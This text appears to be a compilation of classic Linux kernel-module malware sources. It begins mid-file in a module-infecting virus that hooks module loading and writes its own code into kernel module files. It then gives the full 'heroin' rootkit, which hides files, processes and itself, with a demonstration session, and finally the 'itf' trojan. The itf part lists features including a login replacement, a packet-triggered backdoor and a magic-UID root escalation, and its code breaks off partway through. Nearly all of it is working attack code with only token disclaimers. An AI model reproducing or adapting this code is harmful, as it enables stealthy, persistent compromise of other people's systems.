* if someone calls delete_module() [even on autoclean].
* Linux is not longer a virii-secure system :(
* and BSD follows next week ...
* Since it is not needed 2 get root (by the module) you should pay
* attention on liane.
* Note the asm code in function init_module().
* U should assemble your /usr/src/.../module.c with -S and your CFLAG
* from your Makefile and look for the returnvalue from the first call
* of find_module() in sys_init_module(). look where its stored (%ebp
for me)
* and change it in __asm__ init_module()! (but may it is not needed)
*
* For education only!
* Run it only with permisson of the owner of the system you are
logged on!!!
*
*          !!! YOU USE THIS AT YOUR OWN RISK !!!
*
* I'm not responsible for any damage you may get due to playing
around with this.
*
* okay guys, you have to find out some steps without my help:
*
*     1. $ cc -c -O2 module.c
*     2. get length of module.o and patch the #define MODLEN in
module.c
*     3. $ ???
*     4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o
```



```
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

#define __NR_our_syscall 211
#define MAXPATH 30
/*#define DEBUG*/
#ifdef DEBUG
    #define DPRINTK(format, args...) printk(KERN_INFO format,##args)
#else
    #define DPRINTK(format, args...)
#endif

/* where the sys_calls are */

extern void *sys_call_table[];

/* tested only with kernel 2.0.33, but thiz should run under 2.x.x
 * if you change the default_path[] values
 */

static char *default_path[] = {
    ".", "/linux/modules",
    "/lib/modules/2.0.33/fs",
    "/lib/modules/2.0.33/net",
    "/lib/modules/2.0.33/scsi",
    "/lib/modules/2.0.33/block",
    "/lib/modules/2.0.33/cdrom",
    "/lib/modules/2.0.33/ipv4",
    "/lib/modules/2.0.33/misc",
    "/lib/modules/default/fs",
    "/lib/modules/default/net",
    "/lib/modules/default/scsi",
    "/lib/modules/default/block",
    "/lib/modules/default/cdrom",
    "/lib/modules/default/ipv4",
    "/lib/modules/default/misc",
    "/lib/modules/fs",
    "/lib/modules/net",
    "/lib/modules/scsi",
    "/lib/modules/block",
    "/lib/modules/cdrom",
    "/lib/modules/ipv4",
```

```
    "/lib/modules/misc",
    0
};

static struct symbol_table my_syntab = {
    #include <linux/syntab_begin.h>
    X(printk),
    X(vmalloc),
    X(vfree),
    X(kernel_send),
    X(current_set),
    X(sys_call_table),
    X(register_syntab_from),
    #include <linux/syntab_end.h>
};

char files2infect[7][60 + 2];

/* const char kernel_version[] = UTS_RELEASE; */

int (*old_create_module)(char*, int);
int (*old_delete_module)(char *);
int (*open)(char *, int, int);
int (*close)(int);
int (*unlink)(char*);

int our_syscall(int);
int infectfile(char *);
int is_infected(char *);
int cp(struct file*, struct file*);
int writeVir(char *, char *);
int init_module2(struct module*);
char *get_mod_name(char*);

/* needed to be global */

void *VirCode = NULL;

/* install new syscall to see if we are already in kmem */
int our_syscall(int mn)
{
    /* magic number: 40hex :- ) */
    if (mn == 0x40)
```

```

        return 0;
    else
        return -ENOSYS;
}

int new_create_module(char *name, int size)
{
    int i = 0, j = 0, retval = 0;

    if ((retval = old_create_module(name, size)) < 0)
        return retval;
    /* find next free place */
    for (i = 0; files2infect[i][0] && i < 7; i++);
    if (i == 6)
        return retval;
    /* get name of mod from user-space */
    while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j
< 60)
        j++;
    DPRINTK("in new_create_module: got %s as %#d\n", files2infect
[i], i);
    return retval;
}

/* we infect modules after sys_delete_module, to be sure
 * we don't confuse the kernel
 */

int new_delete_module(char *modname)
{
    static int infected = 0;
    int retval = 0, i = 0;
    char *s = NULL, *name = NULL;

    retval = old_delete_module(modname);

    if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
        return retval;

    for (i = 0; files2infect[i][0] && i < 7; i++) {
        strcat(files2infect[i], ".o");
        if ((s = get_mod_name(files2infect[i])) == NULL) {

```

```

        return retval;
    }
    name = strcpy(name, s);
    if (!is_infected(name)) {
        DPRINTK("try 2 infect %s as #%d\n", name, i);
        infected++;
        infectfile(name);
    }
    memset(files2infect[i], 0, 60 + 2);
} /* for */
/* its enough */
if (infected >= ENOUGH)
    cleanup_module();
vfree(name);
return retval;
}

```

```

/* lets take a look at sys_init_module(), that calls
 * our init_module() compiled with
 * CFLAG = ... -O2 -fomit-frame-pointer
 * in C:
 * ...
 * if((mp = find_module(name)) == NULL)
 * ...
 *
 * is in asm:
 * ...
 * call find_module
 * movl %eax, %ebp
 * ...
 * note that there is no normal stack frame !!!
 * thats the reason, why we find 'mp' (return from find_module) in %
ebp
 * BUT only when compiled with the fomit-frame-pointer option !!!
 * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
 * you should find mp at -4(%ebp) .
 * thiz is very bad hijacking of local vars and an own topic.
 * I hope you do not get an seg. fault.
 */

```

__asm__

("

```

.align 16
.globl init_module
.type init_module,@function

init_module:
    pushl %ebp                /* ebp is a pointer to mp from
sys_init_module() */
                                /* and the parameter for init_module2
() */
    call init_module2
    popl %eax
    xorl %eax, %eax          /* all good */
    ret                       /* and return */

.hype27:
    .size init_module, .hype27-init_module
");

/* for the one with no -fomit-frame-pointer and no -O2 this should
(!) work:
*
* pushl %ebx
* movl %ebp, %ebx
* pushl -4(%ebx)
* call init_module2
* addl $4, %esp
* xorl %eax, %eax
* popl %ebx
* ret
*/

/*-----*/

int init_module2(struct module *mp)
{
    char *s = NULL, *mod = NULL, *modname = NULL;
    long state = 0;

    mod = vmalloc(60 + 2);
    modname = vmalloc(MAXPATH + 60 + 2);
    if (!mod || !modname)
        return -1;
    strcpy(mod, mp->name);

```

```
strcat(mod, ".o");
```

```
MOD_INC_USE_COUNT;
```

```
DPRINTK("in init_module2: mod = %s\n", mod);
```

```
/* take also a look at phrack#52 ...*/
```

```
mp->name = "";
```

```
mp->ref = 0;
```

```
mp->size = 0;
```

```
/* this is our new main ,look for copys in kmem ! */
```

```
if (sys_call_table[__NR_our_syscall] == 0) {
```

```
    old_delete_module = sys_call_table
[__NR_delete_module];
```

```
    old_create_module = sys_call_table
[__NR_create_module];
```

```
    sys_call_table[__NR_our_syscall] = (void*)
```

```
our_syscall;
```

```
    sys_call_table[__NR_delete_module] = (void*)
```

```
new_delete_module;
```

```
    sys_call_table[__NR_create_module] = (void*)
```

```
new_create_module;
```

```
    memset(files2infect, 0, (60 + 2)*7);
```

```
    register_syntab(&my_syntab);
```

```
}
```

```
open = sys_call_table[__NR_open];
```

```
close = sys_call_table[__NR_close];
```

```
unlink = sys_call_table[__NR_unlink];
```

```
if ((s = get_mod_name(mod)) == NULL)
```

```
    return -1;
```

```
modname = strcpy(modname, s);
```

```
load_real_mod(modname, mod);
```

```
vfree(mod);
```

```
vfree(modname);
```

```
return 0;
```

```
}
```

```
int cleanup_module()
```

```
{
```

```
    sys_call_table[__NR_delete_module] = old_delete_module;
```

```
    sys_call_table[__NR_create_module] = old_create_module;
```

```

    sys_call_table[__NR_our_syscall] = NULL;
    DPRINTK("in cleanup_module\n");
    vfree(VirCode);
    return 0;
}

```

```

/* returns 1 if infected;
 * seek at position MODLEN + 1 and read out 3 bytes,
 * if it is "ELF" it seems the file is already infected
 */

```

```

int is_infected(char *filename)
{
    char det[4] = {0};
    int fd = 0;
    struct file *file;

    DPRINTK("in is_infected: filename = %s\n", filename);
    BEGIN_KMEM
    fd = open(filename, O_RDONLY, 0);
    END_KMEM
    if (fd <= 0)
        return -1;
    if ((file = current->files->fd[fd]) == NULL)
        return -2;
    file->f_pos = MODLEN + 1;
    DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
    BEGIN_KMEM
    file->f_op->read(file->f_inode, file, det, 3);
    close(fd);
    END_KMEM
    DPRINTK("in is_infected: det = %s\n", det);
    if (strcmp(det, "ELF") == 0)
        return 1;
    else
        return 0;
}

```

```

/* copy the host-module to tmp, write VirCode to
 * hostmodule, and append tmp.
 * then delete tmp.
 */

```

```

int infectfile(char *filename)
{
    char *tmp = "/tmp/t000";
    int in = 0, out = 0;
    struct file *file1, *file2;

    BEGIN_KMEM
    in = open(filename, O_RDONLY, 0640);
    out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
    END_KMEM
    DPRINTK("in infectfile: in = %d out = %d\n", in, out);
    if (in <= 0 || out <= 0)
        return -1;
    file1 = current->files->fd[in];
    file2 = current->files->fd[out];
    if (!file1 || !file2)
        return -1;
    /* save hostcode */
    cp(file1, file2);
    BEGIN_KMEM
    file1->f_pos = 0;
    file2->f_pos = 0;
    /* write Vircode [from mem] */
    DPRINTK("in infetcfle: filename = %s\n", filename);
    file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
    /* append hostcode */
    cp(file2, file1);
    close(in);
    close(out);
    unlink(tmp);
    END_KMEM
    return 0;
}

```

```

int disinfect(char *filename)
{
    char *tmp = "/tmp/t000";
    int in = 0, out = 0;
    struct file *file1, *file2;

    BEGIN_KMEM

```

```

    in = open(filename, O_RDONLY, 0640);
    out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
    END_KMEM
    DPRINTK("in disinfect: in = %d out = %d\n", in, out);
    if (in <= 0 || out <= 0)
        return -1;
    file1 = current->files->fd[in];
    file2 = current->files->fd[out];
    if (!file1 || !file2)
        return -1;
    /* save hostcode */
    cp(file1, file2);
    BEGIN_KMEM
    close(in);
    DPRINTK("in disinfect: filename = %s\n", filename);
    unlink(filename);
    in = open(filename, O_RDWR|O_CREAT, 0640);
    END_KMEM
    if (in <= 0)
        return -1;
    file1 = current->files->fd[in];
    if (!file1)
        return -1;
    file2->f_pos = MODLEN;
    cp(file2, file1);
    BEGIN_KMEM
    close(in);
    close(out);
    unlink(tmp);
    END_KMEM
    return 0;
}

```

```

/* a simple copy routine, that expects the file struct pointer
 * of the files to be copied.
 * So its possible to append files due to copieng.
 */

```

```

int cp(struct file *file1, struct file *file2)
{
    int in = 0, out = 0, r = 0;
    char *buf;

```

```

if ((buf = (char*)vmalloc(10000)) == NULL)
    return -1;

```

```

DPRINTK("in cp: f_pos = %d\n", file1->f_pos);

```

```

BEGIN_KMEM

```

```

while ((r = file1->f_op->read(file1->f_inode, file1, buf,
10000)) > 0)

```

```

    file2->f_op->write(file2->f_inode, file2, buf, r);

```

```

file2->f_inode->i_mode = file1->f_inode->i_mode;

```

```

file2->f_inode->i_atime = file1->f_inode->i_atime;

```

```

file2->f_inode->i_mtime = file1->f_inode->i_mtime;

```

```

file2->f_inode->i_ctime = file1->f_inode->i_ctime;

```

```

END_KMEM

```

```

vfree(buf);

```

```

return 0;

```

```

}

```

```

/* Is that simple: we disinfect the module [hide 'n seek]
 * and send a request to kerneld to load
 * the orig mod. NO fuckin' parsing for symbols and headers
 * is needed - cool.
 */

```

```

int load_real_mod(char *path_name, char *name)
{

```

```

    int r = 0, i = 0;

```

```

    struct file *file1, *file2;

```

```

    int in = 0, out = 0;

```

```

    DPRINTK("in load_real_mod name = %s\n", path_name);

```

```

    if (VirCode)

```

```

        vfree(VirCode);

```

```

    VirCode = vmalloc(MODLEN);

```

```

    if (!VirCode)

```

```

        return -1;

```

```

    BEGIN_KMEM

```

```

    in = open(path_name, O_RDONLY, 0640);

```

```

    END_KMEM

```

```

    if (in <= 0)

```

```

        return -1;

```

```

    file1 = current->files->fd[in];

```

```

    if (!file1)

```

```

        return -1;

```

```

/* read Vircode [into mem] */
BEGIN_KMEM
file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
close(in);
END_KMEM
disinfect(path_name);
r = request_module(name);
DPRINTK("in load_real_mod: request_module = %d\n", r);
return 0;
}

```

```

char *get_mod_name(char *mod)
{
    int fd = 0, i = 0;
    static char* modname = NULL;

    if (!modname)
        modname = vmalloc(MAXPATH + 60 + 2);
    if (!modname)
        return NULL;
    BEGIN_KMEM
    for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i
++) {
        memset(modname, 0, MAXPATH + 60 + 2);
        modname = strcpy(modname, default_path[i]);
        modname = strcat(modname, "/");
        modname = strcat(modname, mod);
        if ((fd = open(modname, O_RDONLY, 0640)) > 0)
            break;
    }
    close(fd);
    END_KMEM
    if (!default_path[i])
        return NULL;
    return modname;
}

```

Herion - the classic one

NAME : Heroin

AUTHOR : [Runar Jensen](#)

DESCRIPTION : Runar Jensen introduced some nice ideas in his text, which were the first steps

towards our modern Hide LKM by plaguez. The way Runar Jensen hides the module requires more coder work than the plaguez (Solar Designer and other people) approach, but it works. The way Runar Jensen hides processes is also a bit too complicated (well this text is quite old, and it was one of the first talking about LKM hacking), He uses a special signal code (31) in order to set a flag in a process structure which indicates that this process is going to be hidden, in the way we discussed in part II. The rest should be clear.

LINK : <http://www.rootshell.com>

As halflife demonstrated in Phrack 50 with his linspy project, it is trivial to patch any systemcall under Linux from within a module. This means that once your system has been compromised at the root level, it is possible for an intruder to hide completely `_without_` modifying any binaries or leaving any visible backdoors behind. Because such tools are likely to be in use within the hacker community already, I decided to publish a piece of code to demonstrate the potentials of a malicious module.

The following piece of code is a fully working Linux module for 2.1 kernels that patches the `getdents()`, `kill()`, `read()` and `query_module()` calls. Once loaded, the module becomes invisible to `lsmod` and a dump of `/proc/modules` by modifying the output of every `query_module()` call and every `read()` call accessing `/proc/modules`. Apparently `rmmod` also calls `query_module()` to list all modules before attempting to remove the specified module, and will therefore claim that the module does not exist even if you know its name. The output of any `getdents()` call is modified to hide any files or directories starting with a given string, leaving them accessible only if you know their exact names. It also hides any directories in `/proc` matching pids that have a specified flag set in its internal task structure, allowing a user with root access to hide any process (and its children, since the task

structure is

duplicated when the process does a fork()). To set this flag, simply send the process a signal 31 which is caught and handled by the patched kill() call.

To demonstrate the effects...

```
[root@image:~/test]# ls -l
total 3
-rw----- 1 root    root      2832 Oct  8 16:52 heroin.o
[root@image:~/test]# insmod heroin.o
[root@image:~/test]# lsmod | grep heroin
[root@image:~/test]# grep heroin /proc/modules
[root@image:~/test]# rmmod heroin
rmmod: module heroin not loaded
[root@image:~/test]# ls -l
total 0
[root@image:~/test]# echo "I'm invisible" > heroin_test
[root@image:~/test]# ls -l
total 0
[root@image:~/test]# cat heroin_test
I'm invisible
[root@image:~/test]# ps -aux | grep gpm
root      223  0.0  1.0  932  312  ?   S   16:08   0:00 gpm
[root@image:~/test]# kill -31 223
[root@image:~/test]# ps -aux | grep gpm
[root@image:~/test]# ps -aux 223
USER      PID %CPU %MEM  SIZE  RSS TTY  STAT  START   TIME COMMAND
root      223  0.0  1.0  932  312  ?   S   16:08   0:00 gpm
[root@image:~/test]# ls -l /proc | grep 223
[root@image:~/test]# ls -l /proc/223
total 0
-r--r--r--  1 root    root      0 Oct  8 16:53 cmdline
lrwx-----  1 root    root      0 Oct  8 16:54 cwd -> /var/run
-r-----  1 root    root      0 Oct  8 16:54 environ
lrwx-----  1 root    root      0 Oct  8 16:54 exe -> /usr/
bin/gpm
dr-x-----  1 root    root      0 Oct  8 16:54 fd
pr--r--r--  1 root    root      0 Oct  8 16:54 maps
-rw-----  1 root    root      0 Oct  8 16:54 mem
lrwx-----  1 root    root      0 Oct  8 16:54 root -> /
-r--r--r--  1 root    root      0 Oct  8 16:53 stat
```

```
-r--r--r--    1 root      root          0 Oct  8 16:54 statm
-r--r--r--    1 root      root          0 Oct  8 16:54 status
[root@image:~/test]#
```

The implications should be obvious. Once a compromise has taken place, nothing can be trusted, the operating system included. A module such as this could be placed in `/lib/modules/<kernel_ver>/default` to force it to be loaded after every reboot, or put in place of a commonly used module and in turn have it load the required module for an added level of protection. (Thanks Sean :) Combined with a reasonably obscure remote backdoor it could remain undetected for long periods of time unless the system administrator knows what to look for. It could even hide the packets going to and from this backdoor from the kernel itself to prevent a local packet sniffer from seeing them.

So how can it be detected? In this case, since the number of processes is limited, one could try to open every possible process directory in `/proc` and look for the ones that do not show up otherwise. Using `readdir()` instead of `getdents()` will not work, since it appears to be just a wrapper for `getdents()`. In short, trying to locate something like this without knowing exactly what to look for is rather futile if done in userspace...

Be afraid. Be very afraid. ;)

.../ru

```
/*
 * heroin.c
 *
```

```
* Runar Jensen <zarq@opaque.org>
*
* This Linux kernel module patches the getdents(), kill(), read()
* and query_module() system calls to demonstrate the potential
* dangers of the way modules have full access to the entire kernel.
*
* Once loaded, the module becomes invisible and can not be removed
* with rmmmod. Any files or directories starting with the string
* defined by MAGIC_PREFIX appear to disappear, and sending a signal
* 31 to any process as root effectively hides it and all its future
* children.
*
* This code should compile cleanly and work with most (if not all)
* recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
* It will not compile as is under 2.0.30, since 2.0.30 lacks the
* query_module() function.
*
* Compile with:
* gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
*/
```

```
#include <linux/fs.h>
#include <linux/module.h>
#include <linux/modversions.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <sys/syscall.h>
```

```
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <stdlib.h>
```

```
#define MAGIC_PREFIX "heroin"
```

```
#define PF_INVISIBLE 0x10000000
```

```
#define SIGINVISI 31
```

```
int errno;
```

```
static inline _syscall3(int, getdents, uint, fd, struct dirent *,
dirp, uint, count);
```

```
static inline _syscall2(int, kill, pid_t, pid, int, sig);
```

```
static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t,
```

```

count);
static inline _syscall5(int, query_module, const char *, name, int,
which, void *, buf, size_t, bufsize, size_t *, ret);

extern void *sys_call_table[];

int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
int (*original_kill)(pid_t, int);
int (*original_read)(int, void *, size_t);
int (*original_query_module)(const char *, int, void *, size_t,
size_t *);

int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;

    for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
        if(*ptr < '0' || *ptr > '9')
            return(-1);
        res += (*ptr - '0') * mul;
        mul *= 10;
    }
    return(res);
}

void mybcopy(char *src, char *dst, unsigned int num)
{
    while(num--)
        *(dst++) = *(src++);
}

int mystrcmp(char *str1, char *str2)
{
    while(*str1 && *str2)
        if(*(str1++) != *(str2++))
            return(-1);
    return(0);
}

struct task_struct *find_task(pid_t pid)
{

```

```
struct task_struct *task = current;

do {
    if(task->pid == pid)
        return(task);

    task = task->next_task;

} while(task != current);

return(NULL);
}
```

```
int is_invisible(pid_t pid)
{
    struct task_struct *task;

    if((task = find_task(pid)) == NULL)
        return(0);

    if(task->flags & PF_INVISIBLE)
        return(1);

    return(0);
}
```

```
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned
int count)
{
    int res;
    int proc = 0;
    struct inode *dinode;
    char *ptr = (char *)dirp;
    struct dirent *curr;
    struct dirent *prev = NULL;

    res = (*original_getdents)(fd, dirp, count);

    if(!res)
        return(res);

    if(res == -1)
        return(-errno);
}
```

```

#ifdef __LINUX_DCACHE_H
    dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    dinode = current->files->fd[fd]->f_inode;
#endif

    if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) &&
MINOR(dinode->i_dev) == 1)
        proc = 1;

    while(ptr < (char *)dirp + res) {
        curr = (struct dirent *)ptr;

        if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
            (proc && is_invisible(myatoi(curr->d_name))))
        {

            if(curr == dirp) {
                res -= curr->d_reclen;
                mybcopy(ptr + curr->d_reclen, ptr,
res);

                continue;
            }
            else
                prev->d_reclen += curr->d_reclen;
        }
        else
            prev = curr;

        ptr += curr->d_reclen;
    }

    return(res);
}

int hacked_kill(pid_t pid, int sig)
{
    int res;
    struct task_struct *task = current;

    if(sig != SIGINVISI) {
        res = (*original_kill)(pid, sig);
    }
}

```

```

        if(res == -1)
            return(-errno);

        return(res);
    }

    if((task = find_task(pid)) == NULL)
        return(-ESRCH);

    if(current->uid && current->euid)
        return(-EPERM);

    task->flags |= PF_INVISIBLE;

    return(0);
}

```

```

int hacked_read(int fd, char *buf, size_t count)
{

```

```

    int res;
    char *ptr, *match;
    struct inode *dinode;

    res = (*original_read)(fd, buf, count);

    if(res == -1)
        return(-errno);

```

```

#ifdef __LINUX_DCACHE_H
    dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    dinode = current->files->fd[fd]->f_inode;
#endif

```

```

    if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) ||
MINOR(dinode->i_dev) != 1)
        return(res);

```

```

    ptr = buf;

```

```

    while(ptr < buf + res) {
        if(!mystrcmp(MAGIC_PREFIX, ptr)) {

```

```

        match = ptr;
        while(*ptr && *ptr != '\n')
            ptr++;
        ptr++;
        mybcopy(ptr, match, (buf + res) - ptr);
        res = res - (ptr - match);
        return(res);
    }
    while(*ptr && *ptr != '\n')
        ptr++;
    ptr++;
}

return(res);
}

int hacked_query_module(const char *name, int which, void *buf,
size_t bufsize, size_t *ret)
{
    int res;
    int cnt;
    char *ptr, *match;

    res = (*original_query_module)(name, which, buf, bufsize,
ret);

    if(res == -1)
        return(-errno);

    if(which != QM_MODULES)
        return(res);

    ptr = buf;

    for(cnt = 0; cnt < *ret; cnt++) {
        if(!mystrcmp(MAGIC_PREFIX, ptr)) {
            match = ptr;
            while(*ptr)
                ptr++;
            ptr++;
            mybcopy(ptr, match, bufsize - (ptr - (char *)
buf));
            (*ret)--;

```

```
                return(res);
            }
            while(*ptr)
                ptr++;
            ptr++;
        }
    }
    return(res);
}
```

```
int init_module(void)
{
    original_getdents = sys_call_table[SYS_getdents];
    sys_call_table[SYS_getdents] = hacked_getdents;

    original_kill = sys_call_table[SYS_kill];
    sys_call_table[SYS_kill] = hacked_kill;

    original_read = sys_call_table[SYS_read];
    sys_call_table[SYS_read] = hacked_read;

    original_query_module = sys_call_table[SYS_query_module];
    sys_call_table[SYS_query_module] = hacked_query_module;

    return(0);
}
```

```
void cleanup_module(void)
{
    sys_call_table[SYS_getdents] = original_getdents;
    sys_call_table[SYS_kill] = original_kill;
    sys_call_table[SYS_read] = original_read;
    sys_call_table[SYS_query_module] = original_query_module;
}
```

```
Runar Jensen          | Phone   (318) 289-0125 | Email  zarq@1stnet.
com
Network Administrator |   or   (800) 264-7440 |   or   zarq@opaque.
org
Tech Operations Mgr   | Fax    (318) 235-1447 | Epage
```

zarq@page.1stnet.com

FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject]

LKM Hider / Socket Backdoor

NAME : itf.c

AUTHOR : [plaguez](#)

DESCRIPTION : This very good LKM was published in phrack 52 (article 18 : 'Weakening the Linux Kernel'). I often referred to it although some ideas in it were also taken from other LKMs / texts which were published before. This module has everything you need to backdoor a system in a very effective way. Look at the text supplied with it for all of its features.

LINK : <http://www.phrack.com>

Here is itf.c. The goal of this program is to demonstrate kernel backdooring techniques using syscall redirection. Once installed, it is very hard to spot.

Its features include:

- stealth functions: once insmod'ed, itf will modify struct module *mp and get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms' outputs.

Also, the module cannot be unloaded.

- sniffer hider: itf will backdoor ioctl(2) so that the PROMISC flag will be hidden. Note that you'll need to place the sniffer BEFORE insmod'ing itf.o, because itf will trap a change in the PROMISC flag and will then stop hiding it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd spot the module...).

- file hider: itf will also patch the getdents(2) system calls, thus hiding files containing a certain word in their filename.

- process hidder: using the same technique as described above, itf will hide /procs/PID directories using argv entries. Any process named with the magic name will be hidden from the procs tree.
- execve redirection: this implements Halflife's idea discussed in P51. If a given program (notably /bin/login) is execve'd, itf will execve another program instead. It uses tricks to overcome Linux memory management limitations: brk(2) is used to increase the calling program's data segment size, thus allowing us to allocate user memory while in kernel mode (remember that most system calls wait for arguments in user memory, not kernel mem).
- socket recvfrom() backdoor: when a packet matching a given size and a given string is received, a non-interactive program will be executed. Typical use is a shell script (which will be hidden using the magic name) that opens another port and waits there for shell commands.
- setuid() trojan: like Halflife's stuff. When a setuid() syscall with uid == magic number is done, the calling process will get uid = euid = gid = 0

```
<+++> lkm_trojan.c
/*
 * itf.c v0.8
 * Linux Integrated Trojan Facility
 * (c) plaguez 1997 -- dube0866@eurobretagne.fr
 * This is mostly not fully tested code. Use at your own risks.
 *
 *
 * compile with:
 * gcc -c -O3 -fomit-frame-pointer itf.c
 * Then:
```

```
*   insmod itf
*
*
* Thanks to Halflife and Solar Designer for their help/ideas.
*
* Greetings to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial.
*
*
*/
```

```
#define MODULE
#define __KERNEL__
```

```
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
```

```
#include <linux/types.h>
#include <linux/fs.h>
#include <linux/mm.h>
#include <linux/errno.h>
#include <asm/segment.h>
#include <asm/pgtable.h>
#include <sys/syscall.h>
#include <linux/dirent.h>
#include <asm/unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/socketcall.h>
#include <linux/netdevice.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/proc_fs.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <ctype.h>
```

```
/* Customization section
```

```
* - RECVEXEC is the full pathname of the program to be launched when
```

a packet

```
* of size MAGICSIZE and containing the word MAGICNAME is received
with recvfrom().
* This program can be a shell script, but must be able to handle
null **argv (I'm too lazy
* to write more than execve(RECVEXEC,NULL,NULL); :)
* - NEWEXEC is the name of the program that is executed instead of
OLDEXEC
* when an execve() syscall occurs.
* - MAGICUID is the numeric uid that will give you root when a call
to setuid(MAGICUID)
* is made (like Halflife's code)
* - files containing MAGICNAME in their full pathname will be
invisible to
* a getdents() system call.
* - processes containing MAGICNAME in their process name will be
hidden of the
* procfs tree.
*/
```

```
#define MAGICNAME "w00w00T$!"
#define MAGICUID 31337
#define OLDEXEC "/bin/login"
#define NEWEXEC "/.w00w00T$!/w00w00T$!login"
#define RECVEXEC "/.w00w00T$!/w00w00T$!recv"
#define MAGICSIZE sizeof(MAGICNAME)+10
```

```
/* old system calls vectors */
int (*o_getdents) (uint, struct dirent *, uint);
ssize_t(*o_readdir) (int, void *, size_t);
int (*o_setuid) (uid_t);
int (*o_execve) (const char *, const char *[], const char *[]);
int (*o_ioctl) (int, int, unsigned long);
int (*o_get_kernel_syms) (struct kernel_sym *);
ssize_t(*o_read) (int, void *, size_t);
int (*o_socketcall) (int, unsigned long *);
/* entry points to brk() and fork() syscall. */
static inline _syscall1(int, brk, void *, end_data_segment);
static inline _syscall0(int, fork);
static inline _syscall1(void, exit, int, status);
```

```
extern void *sys_call_table[];
extern struct proto tcp_prot;
int errno;
```

```
char mtroj[] = MAGICNAME;
int __NR_myexecve;
int promisc;

/*
 * String-oriented functions
 * (from user-space to kernel-space or invert)
 */

char *strncpy_fromfs(char *dest, const char *src, int n)
{
    char *tmp = src;
    int compt = 0;

    do {
        dest[compt++] = __get_user(tmp++, 1);
    }
    while ((dest[compt - 1] != '\0') && (compt != n));

    return dest;
}

int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;

    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
        if (*ptr < '0' || *ptr > '9')
            return (-1);
        res += (*ptr - '0') * mul;
        mul *= 10;
    }
    return (res);
}
```

```

/*
 * process hiding functions
 */
struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = current;
    do {
        if (p->pid == pid)
            return p;
        p = p->next_task;
    }
    while (p != current);
    return NULL;
}

/* the following function comes from fs/proc/array.c */
static inline char *task_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;

    name = p->comm;
    i = sizeof(p->comm);
    do {
        unsigned char c = *name;
        name++;
        i--;
        *buf = c;
        if (!c)
            break;
        if (c == '\\') {
            buf[1] = c;
            buf += 2;
            continue;
        }
        if (c == '\n') {
            buf[0] = '\\';
            buf[1] = 'n';
            buf += 2;
            continue;
        }
        buf++;
    }

```

```
    }  
    while (i);  
    *buf = '\\n';  
    return buf + 1;  
}
```

```
int invisible(pid_t pid)  
{  
    struct task_struct *task = get_task(pid);  
    char *buffer;  
    if (task) {  
        buffer = kmalloc(200, GFP_KERNEL);  
        memset(buffer, 0, 200);  
        task_name(task, buffer);  
        if (strstr(buffer, (char *) &mtroj)) {  
            kfree(buffer);  
            return 1;  
        }  
    }  
    return 0;  
}
```

```
/*  
 * New system calls  
 */
```

```
/*  
 * hide module symbols  
 */
```

```
int n_get_kernel_syms(struct kernel_sym *table)  
{  
    struct kernel_sym *tb;  
    int compt, compt2, compt3, i, done;  
  
    compt = (*o_get_kernel_syms) (table);  
    if (table != NULL) {  
        tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);  
        if (tb == 0) {  
            return compt;  
        }  
    }  
}
```

```

    }
    compt2 = 0;
    done = 0;
    i = 0;
    memcpy_fromfs((void *) tb, (void *) table, compt * sizeof
(struct kernel_sym));
    while (!done) {
        if ((tb[compt2].name)[0] == '#')
            i = compt2;
        if (!strcmp(tb[compt2].name, mtroj)) {
            for (compt3 = i + 1; (tb[compt3].name)[0] != '#' &&
compt3 < compt; compt3++);
            if (compt3 != (compt - 1))
                memmove((void *) &(tb[i]), (void *) &(tb
[compt3]), (compt - compt3) * sizeof(struct kernel_sym));
            else
                compt = i;
            done++;
        }
        compt2++;
        if (compt2 == compt)
            done++;
    }

    memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));
    kfree(tb);
}
return compt;
}

```

```

/*
 * how it works:
 * I need to allocate user memory. To do that, I'll do exactly as
malloc() does
 * it (changing the break value).
 */
int my_execve(const char *filename, const char *argv[], const char
*envp[])
{

```

```

    long __res;
    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve),
"b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
    return (int) __res;
}

```

```

int n_execve(const char *filename, const char *argv[], const char
*envp[])
{
    char *test;
    int ret, tmp;
    char *truc = OLDEXEC;
    char *nouveau = NEWEXEC;
    unsigned long mmm;

